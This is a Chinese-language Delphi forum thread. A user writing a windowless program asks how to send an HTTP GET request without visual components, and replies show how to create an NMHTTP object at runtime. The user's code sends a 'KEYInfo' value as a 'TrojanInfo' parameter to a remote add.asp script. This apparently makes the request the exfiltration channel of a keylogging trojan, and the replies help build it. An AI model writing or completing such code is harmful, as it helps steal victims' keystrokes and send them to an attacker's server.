因为需要,软件为无窗体模式,放不上组件。想用原始的WINSOCK来实现类似NMHTTP的GET方法,因为之前没涉及过,摸不清头脑。希望大家能多多帮助。或者怎么在无窗体的程序中使用INDY,或者NMHTTP也行。写过一段代码实现不了GET,大家帮忙看看
uses
 IdHTTP;
IdHTTP1: TIdHTTP;UrlText := 'http://jadesun/add.asp';
UrlText := UrlText+'?action=SaveCode&TrojanInfo='+KEYInfo;
IdHTTP1.Get(UrlText);

解决方案 »

  1.   

    就用 NMHTTP,动态创建就完了三。
    var
      nmHttp : TNMHttp;
    begin
      Result := -1;
      nmHttp := TNMHTTP.Create(nil);
      try                           
        nmHttp.InputFileMode := True;
        nmHttp.OutputFileMode := FALSE;
        nmHttp.Timeout := 40000;
        nmHttp.ReportLevel := Status_Basic;
        nmHttp.Body := trim(fname);
        nmHttp.Get(trim(url));    //网址
      except
        nmHttp.Free;
        exit;
      end;
      nmHttp.Free;
      Result := 1;
      

  2.   

    要use这两个单元 Psock, NMHttp